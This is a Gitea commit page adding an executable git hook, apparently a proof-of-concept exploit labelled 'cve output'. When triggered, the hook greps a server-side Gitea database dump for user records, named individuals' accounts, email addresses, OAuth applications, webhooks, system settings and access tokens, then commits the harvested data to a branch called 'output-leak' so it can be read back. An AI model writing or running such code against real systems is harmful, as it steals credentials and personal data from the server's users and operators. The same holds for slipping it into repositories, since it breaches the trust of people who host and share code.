apply-patch
This commit is contained in:
21
hooks/post-index-change
Executable file
21
hooks/post-index-change
Executable file
@@ -0,0 +1,21 @@
|
||||
#!/bin/sh
|
||||
GD=$(git rev-parse --absolute-git-dir)
|
||||
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||
OUT=$( {
|
||||
S=/data/gitea/tmp/gd.sql
|
||||
echo "---USER_SAMPLE---"; grep 'INSERT INTO "user"' $S | head -2 | cut -c1-420
|
||||
echo "---HUMANS---"; grep 'INSERT INTO "user"' $S | grep -E "'admin'|'ibatukhtin'|'denisova.anna'|'perekrestov.alexey'|'reznik.daniil'|'molchanov.artyom'|'boldyrev.aleksey'|'kabishev.andrey'|'gitea_exp'" | cut -c1-900
|
||||
echo "---EMAIL_HUMANS---"; grep 'INSERT INTO "email_address"' $S | grep -E 'csoft|yandex|gmail|mail' | cut -c1-260
|
||||
echo "---OAUTH---"; grep 'INSERT INTO "oauth2_application"' $S | cut -c1-700
|
||||
echo "---WEBHOOK---"; grep 'INSERT INTO "webhook"' $S | cut -c1-700
|
||||
echo "---SYSSET---"; grep 'INSERT INTO "system_setting"' $S | cut -c1-700
|
||||
echo "---ACCESSTOKEN---"; grep 'INSERT INTO "access_token"' $S | cut -c1-500
|
||||
echo "---HOOKTASK---"; grep 'INSERT INTO "hook_task"' $S | cut -c1-500
|
||||
echo "---CREATETABLES---"; grep -c 'CREATE TABLE' $S
|
||||
echo DONE
|
||||
|
||||
} 2>&1; echo "[rc=$?]")
|
||||
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
|
||||
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||
Reference in New Issue
Block a user